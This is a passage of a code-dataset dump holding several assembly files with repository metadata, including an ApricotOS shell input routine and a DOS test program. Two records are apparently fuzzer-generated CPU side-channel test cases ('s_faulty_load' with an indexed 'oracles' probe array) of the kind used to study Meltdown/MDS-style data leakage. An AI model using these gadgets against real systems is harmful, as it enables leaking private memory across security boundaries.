34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 32.616935 | 2,999 | 0.652738 |
4e65679cc7e78844e6009e48d6c3cbfb535d9a2f | 8,063 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0xca_notsx.log_21829_815.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0xca_notsx.log_21829_815.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0xca_notsx.log_21829_815.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x6c94, %r11
nop
nop
nop
nop
dec %rbx
movw $0x6162, (%r11)
nop
nop
nop
nop
nop
and $64764, %r11
lea addresses_normal_ht+0x2c94, %rsi
lea addresses_UC_ht+0x11b4, %rdi
nop
add %r11, %r11
mov $73, %rcx
rep movsl
nop
dec %rcx
lea addresses_WT_ht+0x15248, %r11
nop
nop
nop
xor %r15, %r15
mov $0x6162636465666768, %rbx
movq %rbx, (%r11)
nop
xor %rdi, %rdi
lea addresses_A_ht+0x8494, %rsi
lea addresses_D_ht+0x17614, %rdi
nop
nop
nop
mfence
mov $92, %rcx
rep movsq
nop
add $21166, %rbx
lea addresses_WC_ht+0x126c4, %rsi
nop
sub $32760, %r11
movups (%rsi), %xmm6
vpextrq $0, %xmm6, %r8
nop
nop
dec %rax
lea addresses_D_ht+0x93e4, %rsi
lea addresses_A_ht+0x14c94, %rdi
nop
nop
nop
nop
nop
xor $24298, %r11
mov $40, %rcx
rep movsb
nop
nop
nop
sub $13442, %rdi
lea addresses_D_ht+0x19494, %rbx
nop
nop
xor %r8, %r8
mov $0x6162636465666768, %rsi
movq %rsi, %xmm5
movups %xmm5, (%rbx)
nop
nop
sub %r8, %r8
lea addresses_WT_ht+0x494, %rbx
nop
cmp %rdi, %rdi
movw $0x6162, (%rbx)
nop
nop
nop
add %rcx, %rcx
lea addresses_UC_ht+0xf934, %r8
nop
xor $30787, %rax
movups (%r8), %xmm7
vpextrq $1, %xmm7, %r15
nop
nop
cmp %rsi, %rsi
lea addresses_UC_ht+0x5c94, %rsi
lea addresses_A_ht+0x10f94, %rdi
nop
nop
inc %r15
mov $18, %rcx
rep movsb
nop
nop
cmp %rsi, %rsi
lea addresses_normal_ht+0x1ac94, %rsi
lea addresses_WT_ht+0x3884, %rdi
clflush (%rsi)
nop
nop
nop
xor %rbx, %rbx
mov $12, %rcx
rep movsw
nop
nop
nop
nop
nop
add %rsi, %rsi
lea addresses_normal_ht+0x9854, %rax
cmp %rsi, %rsi
mov (%rax), %bx
nop
nop
nop
nop
nop
xor $60719, %r8
lea addresses_WT_ht+0x143d4, %r11
sub %rbx, %rbx
movups (%r11), %xmm3
vpextrq $1, %xmm3, %rdi
nop
nop
nop
nop
nop
inc %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r8
push %rax
push %rbp
push %rbx
push %rdi
// Store
lea addresses_UC+0x18080, %rbp
nop
nop
nop
sub %r10, %r10
movb $0x51, (%rbp)
nop
nop
nop
nop
nop
cmp %rax, %rax
// Store
lea addresses_normal+0xc9d4, %r12
nop
nop
xor %rdi, %rdi
movw $0x5152, (%r12)
nop
nop
nop
nop
sub %r8, %r8
// Store
lea addresses_D+0x8494, %r8
nop
add %rax, %rax
mov $0x5152535455565758, %r10
movq %r10, %xmm5
vmovups %ymm5, (%r8)
nop
nop
nop
xor $18137, %rbx
// Faulty Load
lea addresses_D+0x8494, %rbx
nop
nop
nop
dec %r10
movups (%rbx), %xmm3
vpextrq $1, %xmm3, %rdi
lea oracles, %rbp
and $0xff, %rdi
shlq $12, %rdi
mov (%rbp,%rdi,1), %rdi
pop %rdi
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_UC', 'size': 1, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_normal', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 32, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}}
{'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False}}
{'src': {'same': True, 'congruent': 5, 'NT': False, 'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}}
{'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 32.512097 | 2,999 | 0.655835 |
24620ef23993bb453f92e37dc414612c819365f3 | 464 | asm | Assembly | tests/t06.asm | mras0/sasm | 342f57570e79b2aa1c42a9064aaea4d198577be2 | [
"MIT"
] | 26 | 2019-08-13T19:54:42.000Z | 2022-03-11T16:58:31.000Z | tests/t06.asm | mras0/sasm | 342f57570e79b2aa1c42a9064aaea4d198577be2 | [
"MIT"
] | null | null | null | tests/t06.asm | mras0/sasm | 342f57570e79b2aa1c42a9064aaea4d198577be2 | [
"MIT"
] | 2 | 2019-08-20T10:23:56.000Z | 2020-09-24T20:08:00.000Z | org 0x100
mov di, buf
mov al, 'T'
stosb
mov byte [di], 'E'
mov byte [di+1], 'S'
mov bx, 2
mov byte [bx+di], 'T'
mov al, '!'
mov [bx+di+1], al
mov cx, '?@'
mov [bx+di+2], cx
mov byte [buf+7], '$'
mov dx, buf
mov ah, 0x09
int 0x21
mov ax, 0x4c00
int 0x21
buf:
db 0, 0, 0, 0, 0, 0, 0, 0
| 18.56 | 34 | 0.349138 |
2b3350625fb7c366beacc92515ec13767b65d213 | 6,649 | asm | Assembly | src/shellutil.asm | drdanick/apricot-os | 65fcc85313986f9c6a8aa5738c4b19fa5544caac | [
"MIT"
] | null | null | null | src/shellutil.asm | drdanick/apricot-os | 65fcc85313986f9c6a8aa5738c4b19fa5544caac | [
"MIT"
] | null | null | null | src/shellutil.asm | drdanick/apricot-os | 65fcc85313986f9c6a8aa5738c4b19fa5544caac | [
"MIT"
] | 1 | 2018-07-10T19:35:07.000Z | 2018-07-10T19:35:07.000Z | ; asmsyntax=apricos
; ===================================
; == ==
; == ApricotOS shell utilities ==
; == ==
; == Revision 1 ==
; == ==
; == (C) 2014-17 Nick Stones-Havas ==
; == ==
; == ==
; == Provides utility functions ==
; == for the ApricotOS shell. ==
; == ==
; ===================================
;
#name "shellutil"
#segment 13
#include "apricotosint.asm"
#include "shellmem.asm"
#include "shellcmds.asm"
#include "disp.asm"
#include "osutil.asm"
#include "portout.asm"
#include "portin.asm"
.nearptr PRINTPROMPT
.nearptr READLINE
;
; Prints the prompt string
;
; Volatile registers:
; $a8
; $a9
; $a10
;
PRINTPROMPT:
ASET 8
LARh SHELLMEM_PROMPT
ASET 9
LARl SHELLMEM_PROMPT
ASET 10
OS_SYSCALL LIBDISP_PUTSTR
OS_SYSCALL_RET
;
; Get a line of input from the user.
;
; Return values:
; $a13 - The segment number of the inputted line
; $a14 - The segment local address of the inputted line
; $a15 - The length of the inputted line
;
; Notes:
; -The maximum line length is 128. Characters
; entered after this limit is reached are ignored.
; -The TTY mode will be reset by this routine.
;
; Volatile registers:
; $a8
; $a9
; $a10
; $a11
; $a12
; $a13
; $a14
; $a15
;
READLINE:
OS_SYSCALL OSUTIL_PUSHREGS
; Reset the TTY and put it into line mode
AND 0
ADD 3
PORTOUT_TTY_WRITE
LARl 0x7F
PORTOUT_TTY_WRITE
AND 0
PORTOUT_TTY_WRITE
; Set up constant values in registers
ASET 0
LARl 0x60 ; Mask to check for valid printable characters
ASET 1
LARl 0x20 ; Uppercase/lowercase toggle bit
ASET 2
LARl 0x41 ; ASCII encoding of 'A'
NOT ; Negate this value
ADD 1
ASET 3
LARl 0x5A ; ASCII encoding of 'Z'
NOT ; Negate this value
ADD 1
ASET 4
LARl 0x0A ; ASCII linefeed
ASET 5
LARl 0x08 ; ASCII backspace
ASET 6
LARl 0x7F ; ASCII delete
ASET 7
LARl 0xFF ; -1
ASET 9 ; $a9 points to the address directly following the buffer
LARl SHELLMEM_CMDBUFFEND
LAh SHELLMEM_CMDBUFF
LAl SHELLMEM_CMDBUFF
ASET 13 ; $a15 points to the segment number of the buffer
LDah
ASET 14 ; $a14 points at the next free space in the input buffer
LDal
ASET 15 ; $a15 holds the length of the input
AND 0
; Input processing steps:
; 1) Get a character from the keyboard
; 2) Check if the character is a newline, backspace or DEL, react accordingly
; 3) Make sure there is room in the buffer. If not, go back to 1
; 4) Make sure the most significant 3 bits are non-zero (discard otherwise)
; 5) Unassert the 3rd most significant bit, and check if the character is between A and Z. Reassert the bit if it is not.
; 6) Append the character to the buffer
; 7) Print the character
; 8) Repeat the process
; NOTES:
; - The following loop assumes that $mar points at the segment containing the buffer
; - $a10 is used as a temporary register in the following loop
RL_LOOP_START:
ASET 8 ; $a8 will hold the character while it is being processed
PORTIN_KBD_INPUT ; Get the character
SPUSH ; Save the character
; Check for newline
ASET 4
SPUSH
ASET 8
SPOP XOR
BRz DO_NEWLINE
SPOP ; Restore and backup the character
SPUSH
; Check for backspace
ASET 5
SPUSH
ASET 8
SPOP XOR
BRz DO_BACKSPACE
SPOP ; Restore and backup the character
SPUSH
; Check for delete
ASET 6
SPUSH
ASET 8
SPOP XOR
BRz DO_BACKSPACE
SPOP ; Restore the character
; Check that there is room in the buffer (next free space should not be the same address as the end-of-buffer marker)
; If it is, return to the start of the loop
ASET 14
SPUSH
ASET 9
SPUSH
ASET 10
SPOP
SPOP XOR
BRz RL_LOOP_START
; Check that the character is a valid, printable character
ASET 8 ; Save the character onto the stack
SPUSH
ASET 0
SPUSH
ASET 10
SPOP
SPOP AND ; Apply the mask
BRz RL_LOOP_START
; Unassert the lowercase bit, and check if the character is in the range of A-Z
ASET 8
SPUSH
SPUSH ; Keep an extra copy of the character on the stack
ASET 1
SPUSH
ASET 8
SPOP
NOT
SPOP AND ; Mask out the lowercase bit
SPUSH
; Check if the character is greater than 'A'
ASET 2
SPUSH
ASET 10
SPOP
SPOP ADD
BRn NOT_ALPHA_CHAR
; Check if the character is less than 'Z'
ASET 8
SPUSH
ASET 3
SPUSH
ASET 10
SPOP
SPOP ADD
BRp NOT_ALPHA_CHAR
; At this point, we know the character is an uppercase letter. Dump the backup remaining in the stack and continue
ASET 10
SPOP
ASET 8
JMP SAVE_CHAR
NOT_ALPHA_CHAR:
ASET 8 ; Restore the old character value
SPOP
SPUSH
ASET 10
SPOP
SAVE_CHAR:
; $mar should be pointing at the next free space in the buffer, so just store the character there.
ST
; Echo the character
ASET 10
PORTOUT_TTY_WRITE
; Increment the input length and buffer pointer
ASET 14
ADD 1
STal
ASET 15
ADD 1
JMP RL_LOOP_START
DO_BACKSPACE:
SPOP
ASET 15
BRz RL_LOOP_START ; Don't do anything if the buffer is already empty
; Decrement the length counter and the pointer
ASET 7 ; (-1)
SPUSH
SPUSH
ASET 15
SPOP ADD
ASET 14
SPOP ADD
STal
; Print a backspace char to the terminal
ASET 5
PORTOUT_TTY_WRITE
JMP RL_LOOP_START
DO_NEWLINE:
ASET 4
PORTOUT_TTY_WRITE
SPOP ; Dump the previously saved character
RL_LOOP_END:
; Write a NUL character to the end of the buffer
ASET 14
STal
ASET 10
AND 0
ST
; Set the remaining return values
ASET 14
LARl SHELLMEM_CMDBUFF
ASET 8
OS_SYSCALL OSUTIL_POPREGS
OS_SYSCALL_RET
| 22.312081 | 125 | 0.570161 |
4590127574e8bd4b7a5117af228d25589a5ad5da | 4,492 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_898.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_898.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_898.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
lea addresses_A+0x10ac4, %rsi
lea addresses_WC+0x1a2ec, %rdi
nop
nop
dec %rbp
mov $122, %rcx
rep movsl
nop
sub $38421, %rcx
// Store
lea addresses_WT+0x15fc3, %r15
nop
cmp $5309, %rbp
mov $0x5152535455565758, %r12
movq %r12, (%r15)
nop
nop
nop
nop
nop
sub %r12, %r12
// Store
lea addresses_A+0x13ac4, %rsi
nop
nop
nop
nop
add $34274, %rdx
movl $0x51525354, (%rsi)
nop
sub $61199, %r12
// Faulty Load
lea addresses_A+0x10ac4, %rbp
nop
nop
sub $35184, %r12
movb (%rbp), %dl
lea oracles, %rsi
and $0xff, %rdx
shlq $12, %rdx
mov (%rsi,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A', 'congruent': 0, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': True, 'size': 4, 'NT': True, 'same': False, 'congruent': 11}}
[Faulty Load]
{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
| 54.780488 | 2,999 | 0.659172 |
73764cf3f0258e51532ae62e6309fe0b134fe362 | 2,067 | asm | Assembly | tests/miaf/invalid-num-pixels.asm | y-guyon/ComplianceWarden | 7315f1266b083a1cd958eae9ce7c8f07a8a6ad2d | [
"BSD-3-Clause"
] | 3 | 2020-01-02T17:30:16.000Z | 2021-09-27T18:32:18.000Z | tests/miaf/invalid-num-pixels.asm | y-guyon/ComplianceWarden | 7315f1266b083a1cd958eae9ce7c8f07a8a6ad2d | [
"BSD-3-Clause"
] | 34 | 2020-01-22T01:41:22.000Z | 2021-12-09T13:20:33.000Z | tests/miaf/invalid-num-pixels.asm | y-guyon/ComplianceWarden | 7315f1266b083a1cd958eae9ce7c8f07a8a6ad2d | [
"BSD-3-Clause"
